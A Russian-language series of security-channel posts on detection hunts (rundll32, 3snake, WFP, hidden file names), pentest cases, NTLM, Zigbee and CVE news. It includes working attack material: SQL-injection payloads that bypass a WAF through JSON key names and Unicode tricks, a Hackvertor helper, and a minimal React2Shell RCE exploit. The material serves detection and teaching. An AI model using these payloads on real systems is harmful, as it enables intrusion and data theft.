Если вы работаете в SOC, то наверняка видели, какой зоопарк библиотек и экспортируемых функций может запускать системный процесс rundll32. Согласно отчётам нашей команды MDR, это вторая по частоте (после powershell) системная компонента, которую используют злоумышленники для запуска вредоносов.

Однако угрозу можно детектировать, если определить, чего rundll32 никогда не должен запускать. Например, функции, релевантные COM-серверам. Процесс rundll32 не должен хостить COM-сервер, не должен регистрировать его.

А вот функции, которые нужны для работы с COM:

— DllGetClassObject — ключевая точка входа COM: рантайм вызывает её, чтобы получить указатель на фабрику нужного CLSID. Обязательна для DLL, которые реально создают COM-объекты.

— DllCanUnloadNow — используется Service Control Manager/COM-рантаймом для решения, можно ли выгружать библиотеку (возвращает S_OK/S_FALSE).

— DllRegisterServer / DllUnregisterServer — создают/чистят записи в реестре. Это те самые точки, которые вызывает regsvr32.

— DllInstall (необязательная) — установочные сценарии (per-user/per-machine, дополнительные шаги); вызывается только по /i.

Значит, мы можем создать хант для ловли rundll32.exe, который дергает одну из перечисленных функций — такого операционка делать не должна:

cmdline:(
"rundll32.exe" AND
(
"DllRegisterServer" OR "DllUnregisterServer" OR
"DllGetClassObject" OR "DllCanUnloadNow" OR
"DllInstall"
)
)

В 2016 году один из банков Индонезии подвергся атаке хакерской группы Lazarus. В инфраструктуре банка ИБ-эксперты нашли полный джентльменский набор этой группы: инструменты для горизонтального перемещения по корпоративной сети, клавиатурный шпион для кражи банковских данных, модуль для подключения к SWIFT, туннели для связи с управляющими серверами, вайпер для зачистки… А точкой входа для злоумышленников стал сайт банка, заражённый вредоносным скриптом.

В ходе расследования выяснилось, что за несколько месяцев до атаки банк заказывал анализ защищённости своего нового веб-сервера. И в отчёте пентестера была показана возможность внедрения на веб-сервер вредоносных скриптов. Но банк не закрыл найденную уязвимость, и ею воспользовались злоумышленники. Детали этой попытки ограбления можно найти здесь.

И вот спустя 10 лет — очень похожая история. Разработчики децентрализованного финансового сервиса BetterBank на основе блокчейн-платформы PulseChain заказали анализ защищённости. В результате исследования протокола BetterBank была найдена уязвимость в системе начисления бонусов. При этом пентестеры показали заказчику не только PoC, но и необходимый патч.

Но заказчик не исправил уязвимость, сочтя её некритичной. Через месяц злоумышленник вывел из BetterBank активы на сумму около 5 миллионов долларов, используя именно этот косяк в архитектуре протокола. Подробности взлома — в статье нашего эксперта Эльсайеда Эльрефаэя.

Наши эксперты заметили использование злоумышленниками утилиты 3snake для кражи паролей. Расскажем, как её детектировать. Но для начала разберёмся, что она делает.

— Детект спауна целевых процессов: 3snake открывает сокет AF_NETLINK с протоколом NETLINK_CONNECTOR и подписывается на proc events (CN_PROC). Приходит событие fork/exec/exit/... и он видит новых sshd-детей и sudo. Это стандартный механизм ядра для уведомлений о процессах.

— Докопаться до процесса: 3snake делает ptrace(PTRACE_ATTACH) на подходящие PID и начинает трассировку системных вызовов. Это классическая техника, как у утилиты strace.

— Извлечение секрета: 3snake ловит входы/выходы read/readv (иногда и write/writev — чтобы синхронизироваться по промптам Password:) и читает содержимое пользовательских буферов процесса-цели (через ptrace-чтение памяти или process_vm_readv-подобные техники). Именно там оказываются введённые пользователем пароли к sshd и sudo. Это ровно то, что делают и демонстрационные приёмы со strace — перехватить read() по дескриптору TTY и прочитать байты ввода.

Важно понимать, что это не дамп всего /proc/<pid>/mem , как делает mimipenguin или linikatz. Утилита 3snake целенаправленно «подслушивает» пароли в момент их ввода.

— Модель применения: 3snake работает только с root (или с CAP_SYS_PTRACE). Не пишет в память цели, а спаунит отдельный воркер под каждый целевой процесс (ребёнок sshd, инстанс sudo).

Что детектировать:

Вызовы ptrace(PTRACE_ATTACH), где в качестве цели — один из "святых" процессов: sshd, sudo, gnome-keyring, login и т.д.

Почему это важно: никто легитимно не дебажит sshd или gnome-keyring на продакшене. А если делает — пусть объясняет.

Для получения данных о ptrace(PTRACE_ATTACH) используйте auditd, eBPF/kprobes, Tetragon, Tracee — всё, что умеет следить за sys_ptrace и скажет вам, кто target.

Дополнительно: AF_NETLINK + NETLINK_CONNECTOR — любимый способ атакующего подслушивать, когда появляется цель.

Целевые процессы, интересующие 3snake:

Аутентификация: sshd, sudo, su, passwd, login, systemd-logind, polkitd, pkttyagent, authentication*, policykit*, polkit*

Хранение секретов: gpg-agent, pinentry*, ssh-agent, ssh-askpass, ksshaskpass, gnome-keyring-daemon, kwalletd, kwalletd5

Сетевые клиенты и VPN: NetworkManager, nm-applet, openvpn, openconnect, xrdp, smbclient, mount.cifs

Сессии и экраны: gdm-session-worker, gnome-shell, lightdm-gtk-greeter, i3lock, swaylock, xscreensaver, kwin_wayland

Передача файлов и базы данных: ssh, scp, sftp, rsync, psql, mysql, mongo

Браузеры и IPC: chrome, chromium, dbus-daemon, sssd_kcm, winbindd, vino-server, Xvnc, x0vncserver

Эти цели и ищите в вашей телеметрии:

path:(
"sshd" OR "sudo" OR "su" OR "passwd" OR
"login" OR "systemd-logind" OR "polkitd" OR
"pkttyagent" OR *authentication* OR *policykit* OR *polkit* OR
"gpg-agent" OR pinentry* OR "ssh-agent" OR "ssh-askpass" OR "ksshaskpass" OR
"gnome-keyring-daemon" OR "kwalletd5" OR "kwalletd" OR "NetworkManager" OR
"nm-applet" OR "openvpn" OR "openconnect" OR "gdm-session-worker" OR
"gnome-shell" OR "sddm-greeter" OR "lightdm-gtk-greeter" OR "i3lock" OR
"swaylock" OR "xscreensaver" OR "gnome-shell" OR "kwin_wayland" OR
"ssh" OR "sftp" OR "scp" OR "rsync" OR "psql" OR "mysql" OR "mongo" OR
"mount.cifs" OR "smbclient" OR "xrdp" OR "xrdp-sesman" OR
"x0vncserver" OR "Xvnc" OR "vino-server" OR
"sssd_kcm" OR "winbindd" OR
"chrome" OR "chromium" OR
"dbus-daemon"
)

И поисключайте, конечно

отладчик_типа:(
"chrome_crashpad_handler" OR "chromium-browser" OR
"chromium-gost"
) AND
цель_типа:(
"chromium-gost" OR "chromium-browser" OR "chrome" OR
"chromium"
)

отладчик:(
"/bin/strace" OR "go/bin/dlv"
)

Windows Filtering Platform (WFP) – это набор программных интерфейсов и системных служб, предоставляющих платформу для создания приложений, которые выполняют сетевую фильтрацию. API WFP взаимодействует с обработкой пакетов на различных уровнях сетевого стека операционной системы: сетевые данные могут быть отфильтрованы, а также изменены до того, как они достигнут своего назначения.

Но как часто бывает, инструменты разграничения сетевого доступа и безопасности в некоторых сценариях используют злоумышленники.

Так, WFP может использоваться для блокировки исходящего и входящего трафика с прицелом на какой-либо процесс, чтобы изолировать его сетевое взаимодействие – например, получение обновлений, отправку телеметрии, получение конфигурационной информации с сервера управления, удаленный административный доступ.

Аналогичным образом атакующий может удалить действующие правила сетевого доступа к приложениям и сетевым портам на узле.

Также WFP позволяет модифицировать пакеты, например, для перенаправления трафика на другой узел, для защиты от прослушивания трафика или для маскировки сетевого взаимодействия.

Как детектировать?

Чтобы выявлять подобные активности на основе WFP, необходимо включить аудит, связанный с WFP, в расширенной политике аудита (только не забывайте проводить тесты при включении аудита, поскольку события сетевого взаимодействия с узлов могут в значительной степени увеличить поток событий с узла).

С помощью данного аудита можно отслеживать появление новых провайдеров, не связанных с установленными средствами защиты и сетевого управления, появление новых правил, связанных с блокировкой (block), или сброс пакетов (drop) по целевым портам и по исполняемым файлам приложений.

Для сбора событий, связанных с изменением конфигурации WFP, в том числе и регистрации новых провайдеров, включите:

Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policies Configuration > Audit Policies > Policy Change > Audit Filtering Platform Policy Change

Для сбора событий сетевого взаимодействия и блокировки трафика:

Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policies Configuration > Audit Policies > Object Access > Audit Filtering Platform Connection

Для сбора событий сброса сетевых соединений:

Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policies Configuration > Audit Policies > Object Access > Audit Filtering Platform Packet Drop

Также стоит обращать внимание на события обработки трафика по критичному ПО, узлам и портам, связанным с уже созданными действующими правилами.

Дополнительно к этому, появление новых провайдеров можно отслеживать в этой ветке реестра:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\BFE\Parameters\Policy\Persistent\Provider

А новые фильтры – вот в этой ветке:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\BFE\Parameters\Policy\Persistent\Filter

Продолжаем рассказывать поучительные истории из практики нашей «красной команды». Во время недавнего пентеста мы столкнулись с интересной SQL-инъекцией в Microsoft SQL Server: эта инъекция обошла WAF, призванный защищать сервер. Точка инъекции оказалась в имени ключа JSON, а не в значении.

Один из запросов к API выглядел так:

POST /webapi/...WithPagination HTTP/1.1
Content-Type: application/json

{
  "PageNo": 1,
  "PageSize": 20,
  "SortOrder": "DESC",
  "TabFilter": {
    "StagePendingWith": "TEST"
  },
  "RequestType": "..."
}

Имя поля из TabFilter шло в динамический WHERE без whitelisting’а и параметризации, так что его можно было превратить в часть SQL-выражения:

"TabFilter": {
  "StagePendingWithI like '%' and 1=convert(INT,@@version)) --": "TEST"
}

Перед приложением стоял WAF, который блокировал конструкции вроде and 1=1 и ключевые слова select, union, version, convert, exec, cast и т.п., возвращая страницу «Web Page Blocked». Однако сигнатура для and 1=1 оказалась чувствительна к точному тексту. Мы отправили вариант, в котором просто добавлен двойной бэкслэш:

"StagePendingWithI like '%' and\\1=convert(INT,@@version)) --": "TEST"

Правило WAF для блокировки and 1=1 не сработало, когда в HTTP-теле встретилась строка and\\1=.... После разбора JSON комбинация слэшей интерпретировалась иначе, и до SQL-сервера дошло валидное and 1=convert(INT,@@version).

Что касается блокировки ключевых слов по «чёрному списку», её можно обойти приёмом Unicode Normalization, используя таблицу эквивалентных Unicode-символов. Например, можно заменить обычную n (U+006E) на широкую ｎ (U+FF4E):

and\\1=coｎvert(INT,versioｎ())

Для WAF это уже не version из чёрного списка, а другая строка versioｎ, и сигнатура не сработала. Дальше строка попала в приложение, где при нормализации Unicode «широкие» символы превратились в обычные ASCII. В итоге до SQL-сервера доехало привычное version и выражение выполнилось. Ответ сервера содержал ошибку:

> Conversion failed when converting the nvarchar value
> 'Microsoft SQL Server 2019 (RTM-CU32-GDR) …'
> to data type int.

Таким образом, наш error-based payload отработал, и мы узнали версию СУБД за WAF’ом.

Чтобы не подбирать варианты вручную, мы написали кастомный тег для Hackvertor, автоматически подменяющий часто используемые символы на full-width/Unicode-аналоги. Инструмент заметно ускоряет генерацию payload’ов под конкретный WAF, не жертвуя читаемостью. Фрагмент кода тега:

convert = {
    u'n': u'\uff4e',
    u'N': u'\uff2e',
    u's': u'\uff53',
    u'S': u'\uff33',
    u'o': u'\uff4f',
    u'O': u'\uff2f',
    u'.': u'\uff0e',
}
output = u"".join(convert.get(ch, ch) for ch in input)

SQL-инъекция в таком API позволяет не только прочитать версию SQL-сервера. В зависимости от прав учётной записи БД можно выполнять произвольные запросы и менять данные, вызывать системные процедуры и функции (например, для доступа к файловой системе или сетевым ресурсам) и развивать атаку до RCE и lateral movement (через xp_cmdshell, linked servers, UNC-пути и т.п.).

Ключевые меры защиты:

— Параметризация запросов и строгий whitelist имён полей. Имя колонок не должно приходить “как есть” из внешнего JSON.

— Минимальные привилегии учётной записи SQL Server.

— Корректная настройка WAF: нормализация Unicode до применения сигнатур и, по возможности, контекстный анализ (SQL-parsing), а не только поиск подстрок.

— Интеграция проверок в SSDLC: code review, SAST/DAST и регулярные пентесты для критичных API.

Этот кейс хорошо показывает, что даже при наличии WAF основная проблема — небезопасная логика SQL, а простые blacklist-подходы легко обходятся экранированием и особенностями Unicode.

При анализе безопасности IoT-устройств, использующих мобильную связь в качестве интерфейса для выхода в Интернет, вам наверняка потребуется развернуть свою базовую станцию. Выбор обычно падает на одно из опенсорсных решений: Osmocom либо YateBTS.

Osmocom предоставляет бОльший набор возможностей: например, можно настроить CBC, SMPP, VoIP, EGPRS (вместо GPRS в Yate). Однако при использовании Osmocom для анализа защищённости перед пентестером встаёт ряд проблем.

В первую очередь, это сложность настройки: каждая часть GSM-инфраструктуры запускается в виде отдельной программы, требующий конфигурации. Так, минимально рабочая сеть с EGPRS будет требовать конфигурации и запуска следующих программ: osmo-trx, osmo-bts, osmo-bsc, osmo-msc, osmo-hlr, osmo-stp, osmo-pcu, osmo-sgsn, osmo-ggsn.

Другая проблема — отсутствие пентестового инструментария: нужен внятный мониторинг абонентов, снифинг трафика, проксирование HTTPS-запросов, незаметное для девайсов.

Наработки нашего эксперта Евгения Великоиваненко по этой теме переросли в репозиторий osmo-nidc с отдельной веткой pentest_tooling для решения задач анализа защищённости девайсов. Здесь вы найдёте:

— разворот GSM-станции "по кнопке" docker compose up,
— возможность конфигурации основных параметров сети в одном файле ./configs/config.yml
— автонастройку EGPRS-сети (в ветке pentest_tooling сеть специально использует драйвер host для IP-связности хостовой системы пентестера с девайсами),
— возможность проксирования трафика девайсов через burp suite или прочие прокси,
— другие полезные фичи в папке ./helpers

Поддерживаются SDR-устройства LimeSDR, USRP и клоны USRP (такие, как LibreSDR и AntSDR). В общем, пользуйтесь на здоровье, экспериментируйте в своих тестовых стендах и не ломайте мобильную связь соседским бабушкам.

А бывало ли у вас так, что сидите вы в каком-то помещении, а там — то Wi-Fi подлагнёт, то Bluetooth-гарнитура «ёкнет»? Эдак раза два за день? С одной стороны, неприятно. Но с другой — это не настолько мешает жить, чтобы закапываться вглубь проблемы или обсуждать с коллегами на кухне. В итоге где-то в воздухе повисает вывод типа «да эти наушники/ноутбук уже доживают своё, что с них взять!».

Но одному из наших экспертов подобная проблема очень мешала проводить исследование нового IoT-устройства: устройство отчаянно отказывалось подключаться к Wi-Fi-хотспоту, организованному тут же на коленке. Не решил проблему и альтернативный хотспот, даже когда пациентов пододвинули вплотную друг к другу.

Казалось бы, можно свалить всё на бракованное IoT-устройство. Однако наш эксперт, припомнив некоторые истории о фантомах и призраках, решил продолжить эксперименты.

Так что если вы хотите узнать, какой аппаратурой пользуются охотники за привидениями и какой дворецкий в итоге оказался убийцей беспроводной связи — читайте детективную статью Никиты Прошина и Сергея Андреева, которая называется «Радиодело, или Кто убил мой Wi-Fi?».

Техники для обхода детектирования на Linux очень разнообразны. В нашем канале уже был пример атаки с использованием скрытого односимвольного файла. Сегодня продолжим тему и поговорим про маскирование вредоносных файлов с помощью нечитаемых или трудно различимых символов в названиях файлов.

Эти символы могут:

— не отображаться в терминале (zero-width символы),
— выглядеть как пробелы,
— визуально быть похожими на обычные буквы (гомоглифы),
— содержать Unicode-символы, не поддерживаемые шрифтами,
— приводить к «поломанному» отображению строки (символы перевода строки \n, табуляции \t, backspace \b, возврата каретки \r).

Недавно мы столкнулись с инцидентом компрометации Linux-инфраструктуры заказчика, в котором была использована подобная техника. Наряду с другой вредоносной активностью, атакующие создавали файл, который отображался как /usr/lib/udisks2/ в консоли аналитика ИБ.

Однако при более детальном рассмотрении оказалось, что название файла состоит из одного символа возврата каретки \r (см. скриншот).

Современные терминалы могут корректно отображать некоторые из подобных символов, экранируя нечитаемые символы: файл с названием из символа возврата каретки \r будет выглядеть как ''$'\r'. Но, например, в контейнерах, которые используют busybox, проблема всё ещё остается. Кроме того, подобная техника может ломать автоматизацию (логирование или отображение в SIEM и EDR), усложняя детектирование и анализ.

Как ловить?

Необходимо сканировать системы на наличие файлов, содержащих подобные символы. А аналитикам безопасности необходимо убедиться, что их инструменты корректно обрабатывают файлы, содержащие такие символы. Также можно создать детектирующие правила на основе регулярных выражений для поиска подобных файлов.

В декабре принято собирать "тренды года", и вот вам один такой пример.

В этом году в нашем канале было несколько постов об атаках, связанных с недостатками устаревшего механизма аутентификации через протокол NTLM. Это и история про уязвимость CVE-2025-24071, и заметка про NTLM Reflection. И даже призовое место в конкурсе Pentest Awards нам принёс тот кейс, в котором использовались атаки PetitPotam и NTLM Relay.

Ну чем не тренд года? Так решил и наш коллега Леандро Куоццо, который подготовил подробный обзор инцидентов с эксплуатацией NTLM в 2025 году. Основной вывод обзора: число атак на основе уязвимостей NTLM растёт, и даже после всех исправлений NTLM-аутентификация представляет собой серьезную проблему безопасности.

А главная рекомендация по защите – нужно поскорее избавиться от процессов и компонентов, требующих использования NTLM. Если же этого сделать нельзя – используйте цифровые подписи сообщений и механизм защиты EPA, а также проводите регулярный анализ NTLM-логов.

Подробности – в обзоре «Старая технология, новые уязвимости: эксплуатация протокола NTLM в 2025 году».

Летом этого года была выявлена критическая уязвимость в Windows Server 2025, которая позволяет атакующему легко подобрать пароли ко всем учетным записям типа dMSA и gMSA в домене.

Суть атаки: пароль для *MSA-учёток не записан где-то, а создаётся всякий раз, когда он нужен. Алгоритм для вычисления пароля использует KDS-материалы (постоянные ключи), пользовательский контекст (SID/имена домена и т. д.), а также функцию от времени. И вот эта функция оказалась очень простой: всего 1024 комбинации для перебора.

Как детектировать атаку: 4662, 2946/2947, 4768/4769 и 4624.

Подробности — в статье Александра Родченко "Атака Golden *MSA, бессмысленная и беспощадная".

Как известно, пчёлы бывают правильные и неправильные. Мы обещали рассказать вам про пчёл второго вида, и выполняем обещание — опубликовано полное исследование по анализу защищенности беспроводных Zigbee-сетей в промышленных средах.

В этой работе наш постоянный автор Хайдар Кабибо разбирает весь процесс Zigbee-ассессмента так, чтобы вы могли повторить его сами: от нужных «свистков» и адаптеров до набора софта, с которым удобно работать.

Исследование предполагает сценарий, где участвуют Zigbee-координатор и конечное устройство, которое управляет неким реле. Описано два вектора атаки:

— Подмена и внедрение пакетов: отправка поддельных Zigbee-команд от лица координатора, что позволяет атакующему удалённо переключать реле.

— Перепривязка эндпоинта: принудительный вывод конечного устройства из сети легитимного координатора и присоединение его к поддельному координатору атакующего, что даёт полный контроль над устройством.

Отдельный блок исследования посвящён расшифровке Zigbee-трафика: какие ключи и алгоритмы используются, где брать эти ключи и как расшифровать пакеты в Wireshark.

Кроме того, мы обнаружили нехватку общедоступных инструментов для хеширования ключа, который используется в процессе присоединения к Zigbee-сети. Поэтому написали свой инструмент и выложили в открытый доступ.

А вот полный текст исследования Хайдара: "Перехватываем рубильник: оценка безопасности протокола Zigbee в промышленной среде"

Уязвимость React2Shell (CVE-2025-55182) была раскрыта в начале декабря и наделала немало шума — поскольку затрагивает серверные компоненты React (RSC), которые используются во многих веб-приложениях.

Уязвимость оценивается как максимально опасная (CVSS 10.0) и уже активно эксплуатируется в дикой природе злоумышленниками, в том числе APT-группами.

React2Shell позволяет атакующему незамысловатым http-запросом получить удаленное выполнение кода на уязвимых серверах без всякой аутентификации. Минимально жизнеспособный эксплойт:

{  
  0: {  
    status: "resolved_model",  
    reason: -1,                     
    _response: {  
      _prefix: "console.log('RCE')//",          
      _formData: { get: "$1:then:constructor" },   
    },  
    then: "$1:then",                
    value: '{"then":"$B"}',    
  },  
  1: "$@0",                         
} 

Эта уязвимость особенно критична из-за практически полного отсутствия артефактов. React не фиксирует происходящее, а у большинства из доступного будет лишь набор HTTP-логов, собираемых прокси.

Теоретически можно попытаться анализировать память процесса в поисках характерных сигнатур, но соотношение TP/FP будет крайне низким. В реальности в основном будем видеть нерелевантный трафик от сканеров и автоматических ботов, вместо того чтобы получать чёткие индикаторы эксплуатации уязвимости.

Сейчас атакующие активно перебирают весь спектр механизмов запуска процессов в Node.js:

- exec() 
- spawn() 
- execSync() 
- spawnSync() 

Отсутствие единых стандартов журналирования в современных фронтенд-фреймворках создаёт дополнительные трудности для расследований. В результате успешная эксплуатация может оставаться незамеченной до тех пор, пока не проявятся косвенные признаки: аномальное поведение Node.js-процессов или подозрительные сетевые соединения.

На практике после успешной эксплуатации мы фиксируем один из вариантов (см. скриншот в начале поста):

— однострочная последовательность команд,
— закодированный в Base64 reverse shell,
— есть вариант in memory shell, встречали и его.

В основном фиксируем вариации команд для установок различных майнеров и приложений удаленного управления (RMM).

Что делать?

С точки зрения защиты:
— Пропатчить все уязвимые React / Next.js приложения до безопасных версий (19.0.1, 19.1.2, 19.2.1 и выше; Next.js с обновлённым RSC).
— Включить правила по обнаружению и предотвращению эксплуатации модифицированных RSC HTTP-запросов на периметре (WAF/IDS).

С точки зрения мониторинга:
— Отслеживать аномальные процессы от node.
— Отслеживать сработки WAF/IDS-решений на попытки эксплуатации этой уязвимости.
— Ретроспективно проверить активность на хостах с node.

Бывало ли у вас такое: получили на пентесте админский доступ к Windows-хосту, а все привычные способы удалённого запуска команд уже чем-то блочатся или мониторятся? Для таких случаев вам пригодится исследование нашего эксперта Хайдара Кабибо, которое посвящено не описанной ранее технике удаленного выполнения команд.

В исследовании показано, что апплеты панели управления (CPL-файлы) являются просто DLL-библиотеками, которые можно удаленно запускать через один специфичный DCOM-объект. Атакующий может загрузить кастомную DLL, зарегистрировать её в нужном разделе через службу удаленного реестра, а потом инициировать её удалённое выполнение на целевом хосте с помощью триггера, выступающего в качестве DCOM-клиента.

Помимо этого, из статьи можно узнать:

— как перечислять DCOM-объекты,
— как работают элементы панели управления,
— как детектировать атаки с использованием DCOM-объектов и элементов панели управления,
— какие патчи для скрипта dcomexec из Impacket позволяют ему нормально работать на свежих версиях Windows.

Как и в прошлых исследованиях Хайдара (архитектура RPC, извлечение секретов из реестра), автор даёт полную методологию и много практических деталей. Читайте: "Очередной DCOM-объект для горизонтального перемещения".

Доводилось ли вам при проведении пентеста оказаться в ситуации, когда случайно завершили не тот процесс или пропустили критическую деталь перед эксплуатацией? Чтобы такое не происходило, в пентест фреймворке Mythic есть функция OPSEC pre-check.

В каких случаях это нужно? Например, при тестировании уязвимостей SMB-протокола часто требуется освободить порт 445. Для этого существует утилита smbtakeover.

Наши эксперты по Mythic-агентам встроили похожую функциональность в Mythic Apollo, добавив автоматические проверки безопасности:

— Проверка соединений. Если есть активное ESTABLISHED-подключение по 445-му порту (например, вы сами используете SMB для доступа к целевой системе) — операция отменяется, чтобы не нарушить вашу текущую работу.

— Проверка общих ресурсов. Если обнаружена сетевая папка (шара) — операция тоже отменяется. Это важно, поскольку прерывание SMB на контроллере домена или сервере с общими ресурсами может вызвать заметные сбои в инфраструктуре.

При необходимости эти проверки можно обойти через кнопку Submit Bypass — для ситуаций, когда вы чётко понимаете последствия 😈

На демо-ролике, который выше, можно увидеть, как утилита обнаружила активное соединение и остановила выполнение. После того как соединение было завершено, порт 445 был успешно освобожден для дальнейшего тестирования.

Как защитникам обнаружить освобождение SMB порта и релей?

Вот некоторые возможные индикаторы компрометации:

Мониторинг системных событий:
— остановки SMB-служб через реестр и Windows Event Log,
— события, связанные с изменениями в правилах брандмауэра и трафике через порт 445.

Мониторинг сетевого трафика:
— устаревшие SMB-протоколы,
— известные offensive-инструменты поверх SMB,
— поиск соответствующих UUID-паттернов в SMB-трафике (по удивительному совпадению, пока мы готовили этот пост, наши «синие» выпустили подробное руководство по ловле Mythic в сетевом трафике).

В качестве превентивных мер включайте SMB signing для предотвращения relay-атак и сегментируйте сети для минимизации доступа к SMB-портам между разными сегментами.

Кроме того, настройте в SIEM корреляцию на остановку SMB-службы + запуск непривычного процесса на том же порту и алерты на попытки аутентификации сразу после манипуляций с SMB-службами.

Помните: даже с OPSEC-проверками атакующих, эти техники оставляют следы в логах и трафике при правильно настроенном мониторинге.